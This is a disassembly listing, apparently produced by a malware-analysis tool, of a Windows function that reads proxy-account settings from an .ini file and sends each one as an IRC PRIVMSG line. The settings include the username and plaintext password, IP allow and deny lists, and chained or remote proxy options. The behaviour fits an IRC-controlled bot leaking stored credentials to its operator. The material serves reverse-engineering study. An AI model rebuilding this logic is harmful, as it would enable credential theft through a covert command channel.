Function at 0x140021020
Capabilities:
Read .ini file

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x2b0
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
mov rsi, rcx
mov edi, r8d
mov rbx, rdx
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], 0
call fcn.14005fe50
test rbx, rbx
je 0x140021093
mov ecx, edi
call fcn.140006720
test eax, eax
jne 0x14002109a
lea r8, str.PRIVMSG__s_:The_Account_Doesnt_Exist_r_n
lea rcx, [rsp + 0x40]
mov r9, rbx
mov edx, 0x103
call fcn.14005ff3c
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.140015c20
xor eax, eax
jmp 0x140022895
lea rcx, [rsp + 0x151]
xor edx, edx
mov r8d, 0x143
mov byte [rsp + 0x150], 0
call fcn.14005fe50
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r8, str.PRIVMSG__s_:Account_detail_Info:_r_n
lea rcx, [rsp + 0x40]
mov r9, rbx
mov edx, 0x103
call fcn.14005ff3c
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140021093
mov ecx, 0x78
mov qword [rsp + 0x2e8], rbp
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r11d, r11d
lea r8, str.User_d
lea rcx, [rsp + 0x30]
lea edx, [r11 + 0xf]
mov r9d, edi
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x38], r11
call fcn.14005ff3c
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea rbp, [0x1400ad4c0]
lea r9, [rsp + 0x40]
lea rdx, str.UserName
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x1400211b7
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x40]
lea r8, str.PRIVMSG__s_:1.UserName___s_r_n
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
jmp 0x1400211d3
lea r8, str.PRIVMSG__s_:1.UserName___r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.Password
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x14002127b
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x40]
lea r8, str.PRIVMSG__s_:2.Password___s_r_n
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
jmp 0x140021297
lea r8, str.PRIVMSG__s_:2.Password___r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.AccountStatus
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x140021368
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rdx, str.Enable
lea rcx, [rsp + 0x40]
call fcn.1400605e0
test eax, eax
jne 0x14002134a
lea r8, str.PRIVMSG__s_:3.AccountStatus__Enable_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
jmp 0x140021384
lea r8, str.PRIVMSG__s_:3.AccountStatus__Disable_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
jmp 0x140021384
lea r8, str.PRIVMSG__s_:3.AccountStatus___r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r8, str.PRIVMSG__s_:4.MaxConnectionPerIP__No_Entry_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea r9, [rsp + 0x40]
lea rdx, str.MaxConnectionPerIP
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x140021484
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x40]
call fcn.140004d50
test eax, eax
je 0x140021484
lea rcx, [rsp + 0x40]
call fcn.140061730
test eax, eax
je 0x140021468
lea rax, [rsp + 0x40]
lea r8, str.PRIVMSG__s_:4.MaxConnectionPerIP___s_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov qword [rsp + 0x20], rax
call fcn.14005ff3c
jmp 0x140021484
lea r8, str.PRIVMSG__s_:4.MaxConnectionPerIP__Unlimited_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r8, str.PRIVMSG__s_:5.Total_Connection__No_Entry_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea r9, [rsp + 0x40]
lea rdx, str.TotalConnection
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x140021584
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x40]
call fcn.140004d50
test eax, eax
je 0x140021584
lea rcx, [rsp + 0x40]
call fcn.140061730
test eax, eax
je 0x140021568
lea rax, [rsp + 0x40]
lea r8, str.PRIVMSG__s_:5.Total_Connection___s_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov qword [rsp + 0x20], rax
call fcn.14005ff3c
jmp 0x140021584
lea r8, str.PRIVMSG__s_:5.Total_Connection__Unlimited_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.AllowedIP
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x14002162c
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x40]
lea r8, str.PRIVMSG__s_:6.AllowedIP___s_r_n
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
jmp 0x140021648
lea r8, str.PRIVMSG__s_:6.AllowedIP__._r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.AllowedDestIP
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x1400216f0
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x40]
lea r8, str.PRIVMSG__s_:7.AllowedDestIP___s_r_n
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
jmp 0x14002170c
lea r8, str.PRIVMSG__s_:7.AllowedDestIP__._r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r8, str.PRIVMSG__s_:8.AllowedDestPort__All_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea r9, [rsp + 0x40]
lea rdx, str.AllowedDestPort
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x1400217dc
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x40]
call fcn.140061730
test eax, eax
jle 0x1400217dc
lea rax, [rsp + 0x40]
lea r8, str.PRIVMSG__s_:8.AllowedDestPort___s_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov qword [rsp + 0x20], rax
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.DeniedIP
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x140021884
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x40]
lea r8, str.PRIVMSG__s_:9.DeniedIP___s_r_n
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
jmp 0x1400218a0
lea r8, str.PRIVMSG__s_:9.DeniedIP__None_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.DeniedDestIP
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x140021948
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x40]
lea r8, str.PRIVMSG__s_:10.DeniedDestIP___s_r_n
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
jmp 0x140021964
lea r8, str.PRIVMSG__s_:10.DeniedDestIP__None_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r8, str.PRIVMSG__s_:11.DeniedDestPort__All_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea r9, [rsp + 0x40]
lea rdx, str.DeniedDestPort
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x140021a34
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x40]
call fcn.140061730
test eax, eax
jle 0x140021a34
lea rax, [rsp + 0x40]
lea r8, str.PRIVMSG__s_:11.DeniedDestPort___s_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov qword [rsp + 0x20], rax
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.Speed
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:12.Speed__Unlimited_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov edi, eax
call fcn.14005ff3c
test edi, edi
je 0x140021b08
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x40]
call fcn.140061730
test eax, eax
jle 0x140021b2c
lea rax, [rsp + 0x40]
lea r8, str.PRIVMSG__s_:12.Speed___s_KB_S_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov qword [rsp + 0x20], rax
call fcn.14005ff3c
jmp 0x140021b2c
lea r8, str.PRIVMSG__s_:12.Speed___d_KB_S_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov dword [rsp + 0x20], SQLFreeHandle
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.Expire
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:13.Expire__Never_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov edi, eax
call fcn.14005ff3c
test edi, edi
je 0x140021bf0
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x40]
lea r8, str.PRIVMSG__s_:13.Expire___s_r_n
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.IdleTimeOut
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:14.IdleTimeOut__Unlimited_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov edi, eax
call fcn.14005ff3c
test edi, edi
je 0x140021cc2
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x40]
call fcn.140061730
test eax, eax
jle 0x140021cc2
lea rax, [rsp + 0x40]
lea r8, str.PRIVMSG__s_:14.IdleTimeOut___s_Seconds_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov qword [rsp + 0x20], rax
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.IsGlobalProxyEnable
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:15.IsGlobalProxyEnable__Yes_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov edi, eax
call fcn.14005ff3c
test edi, edi
je 0x140021d91
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rdx, [0x140077958]
lea rcx, [rsp + 0x40]
call fcn.1400605e0
test eax, eax
jne 0x140021d91
lea r8, str.PRIVMSG__s_:15.IsGlobalProxyEnable__No_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.BindedIP
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:16.Binded_IP__All_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov edi, eax
call fcn.14005ff3c
test edi, edi
je 0x140021e55
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x40]
lea r8, str.PRIVMSG__s_:16.Binded_IP___s_r_n
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.IsEncryptionEnable
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:17.Data_Encryption_Enable__No_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov edi, eax
call fcn.14005ff3c
test edi, edi
je 0x140021f24
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rdx, [0x14007795c]
lea rcx, [rsp + 0x40]
call fcn.1400605e0
test eax, eax
jne 0x140021f24
lea r8, str.PRIVMSG__s_:17.Data_Encryption_Enable__Yes_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.TCPNoDelay
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:18.TCP_No_Delay_Enable__Yes_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov edi, eax
call fcn.14005ff3c
test edi, edi
je 0x140021ff3
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rdx, [0x140077958]
lea rcx, [rsp + 0x40]
call fcn.1400605e0
test eax, eax
jne 0x140021ff3
lea r8, str.PRIVMSG__s_:18.TCP_No_Delay_Enable__No_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.Direct
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:19.Is_Direct_Enable__No_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov edi, eax
call fcn.14005ff3c
test edi, edi
je 0x1400220c2
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rdx, [0x14007795c]
lea rcx, [rsp + 0x40]
call fcn.1400605e0
test eax, eax
jne 0x1400220c2
lea r8, str.PRIVMSG__s_:19.Is_Direct_Enable__Yes_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.BufferSize
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:20.Buffer_Size__32_KB_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov edi, eax
call fcn.14005ff3c
test edi, edi
je 0x1400221a2
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x40]
call fcn.140004d50
test eax, eax
je 0x1400221a2
lea rcx, [rsp + 0x40]
call fcn.140061730
test eax, eax
jle 0x1400221a2
lea rax, [rsp + 0x40]
lea r8, str.PRIVMSG__s_:20.Buffer_Size___s_KB_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov qword [rsp + 0x20], rax
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.ChainProxy
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:21.ChainProxy__No_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov edi, eax
call fcn.14005ff3c
test edi, edi
je 0x140022271
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rdx, [0x14007795c]
lea rcx, [rsp + 0x40]
call fcn.1400605e0
test eax, eax
jne 0x140022271
lea r8, str.PRIVMSG__s_:21.ChainProxy__Yes_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
test eax, eax
je 0x140022879
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
lea r9, [rsp + 0x40]
lea rdx, str.RemoteProxy
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea r8, str.PRIVMSG__s_:22.RemoteProxy__NONE_r_n
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
mov edi, eax
call fcn.14005ff3c
test edi, edi
je 0x140022335
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x40]
lea r8, str.PRIVMSG__s_:22.RemoteProxy___s_r_n
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x150]
mov r9, rbx
mov edx, 0x143
call fcn.14005ff3c
lea rdx, [rsp + 0x150]
mov rcx, rsi
call fcn.140015c20
